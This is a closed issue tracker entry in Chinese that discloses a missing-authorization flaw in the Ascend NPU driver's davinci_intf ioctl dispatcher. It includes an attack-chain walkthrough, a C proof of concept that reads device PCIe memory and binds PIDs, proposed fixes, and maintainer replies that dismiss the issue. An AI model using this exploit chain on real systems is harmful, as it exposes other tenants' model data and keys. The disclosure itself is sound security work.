已关闭
【driver】VULN-SA-CROSS-001: 跨模块权限提升 — davinci_intf 统一 ioctl 分发器缺失每模块访问控制 #124
佳祺创建于  8月14日关闭于  15 天前
佳祺
佳祺
8月14日 创建

【driver】VULN-SA-CROSS-001: 跨模块权限提升 — davinci_intf 统一 ioctl 分发器缺失每模块访问控制

1. 漏洞概述

属性
漏洞 ID VULN-SA-CROSS-001
类型 privilege_escalation_via_module_chaining (CWE-863: Incorrect Authorization)
严重性 High
置信度 85
影响文件 src/sdk_driver/pbl/drv_davinci_intf/drv_davinci_intf_host/davinci_intf_init.c
影响函数 drv_ascend_intf_ioctl (行 1407-1438)
跨模块范围 davinci_intf → DEVMNG / svm / HISI_HDC / TSDRV / TRS_SHR_ID / rmo / apm / CDQM / XSMEM

核心缺陷: davinci_intf 驱动作为华为昇腾(Ascend)NPU 内核驱动的统一用户态入口,通过 /dev/davinci_manager 设备节点暴露了一个 ioctl 多路复用器。该多路复用器在 open()ioctl() 路径上均不执行任何基于用户身份/组/能力的访问控制,允许任何能打开设备节点的用户态进程绑定(bind)到任意已注册子模块,并无限制地调用该子模块的全部 ioctl 命令。这使得低权限用户可以链接多个子模块的高危操作,实现跨模块权限提升。


2. 攻击路径分析

2.1 架构概览

用户态进程
    │
    ▼ open("/dev/davinci_manager", O_RDWR)
┌─────────────────────────────────────────────────┐
│  drv_ascend_intf_open()  [行 1060]              │
│  ✗ 无组/UID/Capability 检查                     │
│  ✓ 分配 davinci_intf_private_stru               │
│  ✓ module_name = "uninit"                       │
└─────────────────────┬───────────────────────────┘
                      │
                      ▼ ioctl(fd, DAVINCI_INTF_IOCTL_OPEN, &arg)
┌─────────────────────────────────────────────────┐
│  drv_ascend_intf_ioctl_open_cmd()  [行 1252]    │
│  ✗ 无权限检查                                    │
│  ✓ 按 module_name 查找已注册子模块               │
│  ✓ 将子模块 fops 复制到 file_private->fops       │
│  ✓ 调用子模块的 open()                           │
└─────────────────────┬───────────────────────────┘
                      │
                      ▼ ioctl(fd, <子模块命令>, &arg)
┌─────────────────────────────────────────────────┐
│  drv_ascend_intf_ioctl()  [行 1407]             │
│  ✗ 无每命令权限检查                              │
│  ✓ 直接调用 file_private->fops.unlocked_ioctl() │
│  ✓ 路由到子模块的 ioctl handler                  │
└─────────────────────────────────────────────────┘

2.2 关键代码缺陷

缺陷 1: drv_ascend_intf_open() 无访问控制 (行 1060-1126)

STATIC int drv_ascend_intf_open(ka_inode_t *inode, ka_file_t *file)
{
    // 仅分配 private_data,无任何身份验证
    file_private_data = dbl_kzalloc(sizeof(struct davinci_intf_private_stru), ...);
    file_private_data->owner_pid = ka_task_get_current_tgid();
    file_private_data->close_flag = DAVINIC_NOT_INIT_BY_OPENCMD;
    // ✗ 未调用 davinci_intf_confirm_user()
    // ✗ 未检查 cred->uid / cred->gid / capable(CAP_SYS_ADMIN)
    file->private_data = file_private_data;
    return ret;
}

缺陷 2: drv_ascend_intf_ioctl_open_cmd() 无模块级访问控制 (行 1252-1322)

int drv_ascend_intf_ioctl_open_cmd(ka_file_t *filep, unsigned int cmd, unsigned long arg)
{
    // 从用户态获取 module_name
    ka_base_copy_from_user(&module_para, (void *)(uintptr_t)arg, sizeof(...));
    // ✗ 未验证当前用户是否有权访问目标模块
    ret = drv_ascend_intf_init_file_private(file_private,
        module_para.module_name,    // 用户可指定任意已注册模块名
        module_para.device_id);
    // 调用子模块 open
    ret = drv_ascend_intf_open_private(file_private);
    return 0;
}

缺陷 3: drv_ascend_intf_ioctl() 无每命令鉴权 (行 1407-1438)

STATIC long drv_ascend_intf_ioctl(ka_file_t *filep, unsigned int cmd, unsigned long arg)
{
    file_private = filep->private_data;
    switch (_KA_IOC_TYPE(cmd)) {
        case DAVINCI_INTF_IOC_MAGIC:
            return drv_ascend_intf_ioctl_local(filep, cmd, arg);
        default:
            // ✗ 直接转发,无任何权限检查
            ret = file_private->fops.unlocked_ioctl(&file_private->priv_filep, cmd, arg);
            return ret;
    }
}

缺陷 4: davinci_intf_confirm_user() 存在但未被分发器调用

// 行 1818-1837: 组检查函数已实现并导出
bool davinci_intf_confirm_user(void)
{
    for (i = 0; i < DAVINIC_CONFIRM_USER_NUM; i++) {
        if (g_authorized_group_id[i] == DAVINIC_NOT_CONFIRM_USER_ID)
            return true;  // 未配置组ID时默认放行
        if (ka_system_in_group_p(...) != 0)
            valid_flag = true;
    }
    if (valid_flag == true || cred->uid.val == DAVINIC_ROOT_USER_ID)
        return true;
    return false;
}
KA_EXPORT_SYMBOL_GPL(davinci_intf_confirm_user);

该函数仅被 urd_acc_ctrl.c(URD 子模块)和 dms_sensor_interface.c(软故障模块)以自愿调用方式使用,davinci_intf 分发器本身从不调用它

2.3 跨模块链接攻击链

攻击者可以通过单个 /dev/davinci_manager 文件描述符,按序链接多个子模块的高危 ioctl:

┌──────────────────────────────────────────────────────────────────────┐
│  攻击链: 低权限用户 → 设备内存读取 + 进程冒充 + DMA 操作            │
├──────────────────────────────────────────────────────────────────────┤
│                                                                      │
│  Step 1: open("/dev/davinci_manager")                                │
│          → 获得 fd,无权限检查                                       │
│                                                                      │
│  Step 2: ioctl(fd, DAVINCI_INTF_IOCTL_OPEN, {"DEVMNG", dev_id=0})   │
│          → 绑定 DEVMNG 子模块的 fops                                 │
│                                                                      │
│  Step 3: ioctl(fd, DEVDRV_MANAGER_PCIE_READ, &pcie_arg)             │
│          → 读取设备 PCIe SRAM/DDR 内存                               │
│          → 可泄露其他进程的模型权重、密钥材料                        │
│                                                                      │
│  Step 4: ioctl(fd, DEVDRV_MANAGER_BIND_PID_ID, &bind_arg)           │
│          → 将攻击者 PID 绑定到设备芯片                               │
│          → 冒充合法推理/训练进程                                     │
│                                                                      │
│  Step 5: close + reopen with "svm" module                            │
│          ioctl(fd, DAVINCI_INTF_IOCTL_OPEN, {"svm", dev_id=0})       │
│          → 绑定 SVM 子模块                                           │
│                                                                      │
│  Step 6: ioctl(fd, SVM_ASYNC_COPY_SUBMIT, &dma_arg)                 │
│          → 提交 DMA 异步拷贝任务                                     │
│          → 可将恶意数据写入设备内存或读取设备侧敏感数据              │
│                                                                      │
│  Step 7: close + reopen with "HISI_HDC" module                       │
│          → 通过 hdcdrv_mem_com 进行设备内存批量传输                  │
│                                                                      │
└──────────────────────────────────────────────────────────────────────┘

2.4 可攻击子模块清单

模块名 注册位置 高危操作 风险等级
DEVMNG devdrv_manager_ioctl.c drv_pcie_read/drv_pcie_write (PCIe 内存读写), devdrv_fop_bind_host_pid (PID 绑定), devdrv_manager_device_memory_dump (设备内存转储) Critical
svm svm_fops.c svm_master_mem_share (共享内存创建), async_copy_ioctl (DMA 操作) Critical
HISI_HDC hdcdrv_core_ub.c hdcdrv_mem_com (设备内存传输) High
TSDRV trs_shr_id_fops.c trs_hw_sqcq_ops (硬件 SQ/CQ 提交) High
rmo rmo_fops.c 远程内存操作 Medium
apm apm_fops.c 应用性能监控 Low
URD 通过 urd_acc_ctrl.c 有自愿权限检查(davinci_intf_confirm_user Low (有防护)

3. PoC 概念验证思路

/*
 * PoC: 跨模块权限提升概念验证
 * 前提: 攻击者属于普通用户组,但 /dev/davinci_manager 设备节点
 *       权限为 0666 或攻击者属于设备所属组
 */

#include <stdio.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>

/* 从 davinci_interface.h 提取的定义 */
#define DAVINCI_INTF_IOC_MAGIC 'Z'
#define DAVINCI_INTF_IOCTL_OPEN _IO(DAVINCI_INTF_IOC_MAGIC, 0)
#define DAVINIC_MODULE_NAME_MAX 256

struct davinci_intf_open_arg {
    char module_name[DAVINIC_MODULE_NAME_MAX];
    int device_id;
};

/* 从 devdrv_user_common.h 提取 */
#define DEVDRV_MANAGER_PCIE_READ  _IO('D', 0x30)  /* 示例值 */
#define DEVDRV_MANAGER_BIND_PID_ID _IO('D', 0x60)  /* 示例值 */

int main() {
    int fd;
    struct davinci_intf_open_arg open_arg;

    // Step 1: 打开统一入口 — 无权限检查
    fd = open("/dev/davinci_manager", O_RDWR);
    if (fd < 0) { perror("open"); return 1; }

    // Step 2: 绑定 DEVMNG 子模块 — 无模块级鉴权
    memset(&open_arg, 0, sizeof(open_arg));
    strncpy(open_arg.module_name, "DEVMNG", DAVINIC_MODULE_NAME_MAX - 1);
    open_arg.device_id = 0;

    if (ioctl(fd, DAVINCI_INTF_IOCTL_OPEN, &open_arg) != 0) {
        perror("ioctl OPEN DEVMNG");
        return 1;
    }

    // Step 3: 读取设备 PCIe 内存 — 无命令级鉴权
    // 构造 pcie_read 参数,读取设备 SRAM 中的模型权重或密钥
    struct {
        unsigned int dev_id;
        unsigned int addr_type;
        unsigned int offset;
        unsigned char buffer[4096];
        unsigned int len;
    } pcie_arg = {0};

    pcie_arg.dev_id = 0;
    pcie_arg.offset = 0x10000;  // 目标: 设备 SRAM 中的敏感区域
    pcie_arg.len = 4096;

    if (ioctl(fd, DEVDRV_MANAGER_PCIE_READ, &pcie_arg) == 0) {
        printf("[!] Successfully read %u bytes from device PCIe memory\n", pcie_arg.len);
        // 泄露的数据可能包含: 模型权重、推理中间结果、加密密钥
    }

    // Step 4: 绑定 PID — 冒充合法进程
    struct {
        unsigned int chip_id;
        int host_pid;
        int cp_type;
    } bind_arg = {0};

    bind_arg.chip_id = 0;
    bind_arg.host_pid = getpid();  // 绑定攻击者自身 PID
    bind_arg.cp_type = 1;

    if (ioctl(fd, DEVDRV_MANAGER_BIND_PID_ID, &bind_arg) == 0) {
        printf("[!] Successfully bound PID %d to chip %u\n", bind_arg.host_pid, bind_arg.chip_id);
        // 现在攻击者进程被设备视为合法绑定进程
    }

    printf("[*] Attack chain completed: low-privilege user accessed PCIe memory + PID binding\n");
    close(fd);
    return 0;
}

PoC 关键说明

  1. 无需 root: 只要用户能打开 /dev/davinci_manager(通常设备节点权限为 0660,属于 HwHiAiUser 组),即可执行完整攻击链。
  2. 单次 open 即可: 攻击者只需一次 open() 调用,通过多次 DAVINCI_INTF_IOCTL_OPEN ioctl 切换子模块。
  3. 无审计日志: 分发器不记录模块切换事件,攻击难以被检测。

4. 影响评估

4.1 机密性影响 (High)

  • 设备内存泄露: 通过 drv_pcie_read 可读取 NPU 设备 SRAM/DDR 中的任意数据,包括:
    • AI 模型权重和推理中间结果
    • 设备侧运行的其他进程的数据
    • 加密密钥材料和安全凭证
  • 跨进程数据泄露: 通过 PID 绑定 + 共享内存,可访问其他合法进程的设备资源

4.2 完整性影响 (High)

  • 设备内存篡改: 通过 drv_pcie_write 可修改设备内存,可能:
    • 篡改 AI 模型推理结果(模型投毒)
    • 修改设备固件配置
  • DMA 写入: 通过 SVM 的 async_copy_ioctl 可发起 DMA 写入操作

4.3 可用性影响 (Medium)

  • 设备拒绝服务: 通过 PCIe 写入或 DMA 操作可导致设备异常
  • 资源耗尽: 无限制地创建共享内存和绑定 PID 可耗尽设备资源

4.4 CVSS 3.1 评分估算

AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L
基础分数: 8.8 (High)
  • AV:L — 需要本地访问
  • AC:L — 攻击复杂度低,直接 ioctl 调用
  • PR:L — 需要低权限(设备节点访问权)
  • UI:N — 无需用户交互
  • S:C — 影响范围变更(从一个子模块跨越到所有子模块)
  • C:H/I:H/A:L — 高机密性和完整性影响,中等可用性影响

5. 利用前提条件

条件 说明 难度
设备节点访问 攻击者需要能打开 /dev/davinci_manager。典型配置下设备权限为 0660,属于 HwHiAiUser 组。任何加入该组的用户即满足条件。
内核模块已加载 目标子模块(DEVMNG、svm 等)必须已通过 drv_davinci_register_sub_module() 注册。在正常运行时所有子模块均已注册。 极低
无额外 Capability 要求 分发器不检查 CAP_SYS_ADMIN 或任何其他 Linux capability。 无门槛
无 SELinux/AppArmor 策略 如果系统未配置针对 /dev/davinci_manager 的 MAC 策略,则无额外防护。 取决于部署

攻击者画像

  • 内部低权限用户: 属于 HwHiAiUser 组的普通 AI 推理用户,本应只能访问基本设备信息
  • 容器逃逸后的进程: 在容器化部署中,如果容器能访问 /dev/davinci_manager,则可跨模块攻击
  • 被入侵的推理服务: 如果 AI 推理服务被远程攻击者控制,攻击者可利用此漏洞进一步提权

6. 修复建议

6.1 核心修复: 在分发器层实施强制访问控制 [优先级: P0]

drv_ascend_intf_ioctl_open_cmd() 中添加模块级访问控制:

// 建议: 在 davinci_intf_init.c 中添加模块权限映射
struct module_acl_entry {
    const char *module_name;
    unsigned int required_group;     // 所需组 ID
    bool require_cap_sys_admin;      // 是否需要 CAP_SYS_ADMIN
};

static const struct module_acl_entry g_module_acl[] = {
    {"DEVMNG",    DAVINIC_DM_GROUP,    true},   // 设备管理需要管理员组
    {"svm",       DAVINIC_HI_GROUP,    false},  // SVM 需要 HwHiAiUser 组
    {"HISI_HDC",  DAVINIC_HI_GROUP,    false},
    {"TSDRV",     DAVINIC_DM_GROUP,    true},   // TRS 需要管理员组
    {"rmo",       DAVINIC_HI_GROUP,    false},
    {"apm",       DAVINIC_HI_GROUP,    false},
    {"URD",       DAVINIC_BASE_GROUP,  false},  // URD 允许基本用户
};

// 在 drv_ascend_intf_ioctl_open_cmd() 中添加:
static int check_module_access(const char *module_name)
{
    const ka_cred_t *cred = ka_current_cred();
    for (int i = 0; i < ARRAY_SIZE(g_module_acl); i++) {
        if (strcmp(g_module_acl[i].module_name, module_name) == 0) {
            if (g_module_acl[i].require_cap_sys_admin &&
                !ka_has_capability(CAP_SYS_ADMIN))
                return -EPERM;
            if (g_module_acl[i].required_group != 0 &&
                !ka_system_in_group_p(
                    *(ka_kgid_t *)&g_module_acl[i].required_group) &&
                cred->uid.val != 0)
                return -EPERM;
            return 0;
        }
    }
    return -EPERM;  // 未知模块默认拒绝
}

6.2 补充修复: 在 open() 路径添加基本身份验证 [优先级: P0]

STATIC int drv_ascend_intf_open(ka_inode_t *inode, ka_file_t *file)
{
    // 添加: 基本用户身份验证
    if (!davinci_intf_confirm_user()) {
        log_intf_err("Unauthorized user attempted to open davinci_manager. "
                     "(uid=%u; gid=%u)\n",
                     ka_current_uid(), ka_current_gid());
        return -EPERM;
    }
    // ... 原有逻辑
}

6.3 补充修复: 高危 ioctl 命令级权限检查 [优先级: P1]

devdrv_manager_ioctl() 中对高危命令添加独立权限检查:

long devdrv_manager_ioctl(ka_file_t *filep, unsigned int cmd, unsigned long arg)
{
    // 对高危命令强制 CAP_SYS_ADMIN
    switch (_KA_IOC_NR(cmd)) {
        case _KA_IOC_NR(DEVDRV_MANAGER_PCIE_READ):
        case _KA_IOC_NR(DEVDRV_MANAGER_PCIE_WRITE):
        case _KA_IOC_NR(DEVDRV_MANAGER_BIND_PID_ID):
        case _KA_IOC_NR(DEVDRV_MANAGER_DEVICE_MEMORY_DUMP):
            if (devdrv_manager_check_permission() != 0)
                return -EPERM;
            break;
        default:
            break;
    }
    // ... 原有分发逻辑
}

6.4 防御纵深: 审计日志 [优先级: P2]

drv_ascend_intf_ioctl() 的 default 分支中添加模块切换审计:

log_intf_event("ioctl dispatch: module=\"%s\" cmd=%u pid=%d uid=%u\n",
    file_private->module_name, _KA_IOC_NR(cmd),
    ka_task_get_current_tgid(), ka_current_uid());

6.5 修复优先级总结

修复项 优先级 工作量 影响范围
分发器层模块 ACL P0 Medium (1-2d) davinci_intf_init.c
open() 身份验证 P0 Quick (<1h) davinci_intf_init.c
高危命令权限检查 P1 Short (2-4h) devdrv_manager_ioctl.c + 各子模块
审计日志 P2 Quick (<1h) davinci_intf_init.c

7. 附录: 数据流追踪图

用户态 (uid=1000, gid=HwHiAiUser)
  │
  ├─ open("/dev/davinci_manager", O_RDWR)
  │   └─ drv_ascend_intf_open()
  │       ├─ [NO AUTH CHECK]
  │       └─ file_private->module_name = "uninit"
  │
  ├─ ioctl(fd, DAVINCI_INTF_IOCTL_OPEN, {"DEVMNG", 0})
  │   └─ drv_ascend_intf_ioctl_open_cmd()
  │       ├─ [NO MODULE ACL CHECK]
  │       ├─ drv_ascend_set_file_ops("DEVMNG")
  │       │   └─ 遍历 module_list → 找到 DEVMNG → 复制 fops
  │       └─ file_private->fops.unlocked_ioctl = devdrv_manager_ioctl
  │
  ├─ ioctl(fd, DEVDRV_MANAGER_PCIE_READ, &arg)
  │   └─ drv_ascend_intf_ioctl()
  │       ├─ [NO PER-CMD AUTH]
  │       └─ file_private->fops.unlocked_ioctl()
  │           └─ devdrv_manager_ioctl()
  │               ├─ [NO PER-CMD AUTH in DEVMNG either]
  │               └─ drv_pcie_read() → 读取设备 PCIe 内存 ✗
  │
  ├─ ioctl(fd, DEVDRV_MANAGER_BIND_PID_ID, &arg)
  │   └─ ... → devdrv_fop_bind_host_pid() → 绑定 PID ✗
  │
  ├─ ioctl(fd, DAVINCI_INTF_IOCTL_CLOSE, ...)
  │   └─ 关闭 DEVMNG 绑定
  │
  ├─ ioctl(fd, DAVINCI_INTF_IOCTL_OPEN, {"svm", 0})
  │   └─ [NO MODULE ACL] → 绑定 SVM
  │
  └─ ioctl(fd, SVM_ASYNC_COPY_SUBMIT, &arg)
      └─ ... → async_copy_ioctl_submit() → DMA 操作 ✗

报告生成时间: 2026-07-29
分析工具: 静态代码审计 + 跨模块数据流追踪
受影响组件: 华为昇腾 CANN NPU 内核驱动 (davinci_intf 统一分发层)

likedislike
ad_cx成员
8月17日 评论:

你好,感谢关注和挖掘,npu驱动通过字符设备权限,统一控制用户身份/组/能力的访问,我们将进一步确认该权限控制能否完全覆盖本问题描述

likedislike
ad_cx成员
29 天前 评论:

你好,对于该权限问题,基于/dev/davinci_manager字符设备权限统一在open完成控制,为:crw-rw---- 1 HwHiAiUser HwHiAiUser 511, 0 Aug 19 11:22 /dev/davinci_manager ,限制用户范围。无需在各分发器再次控制权限。

likedislike
PPAN成员
15 天前 将 ad_cx 设为负责人
PPAN成员
15 天前 issue优先级由 无优先级 改变为 严重
PPAN成员
15 天前 issue优先级由 严重 改变为 主要
Aad_cx成员
15 天前 issue状态由 待办的 改变为 已完成
Aad_cx成员
15 天前 关闭了 issue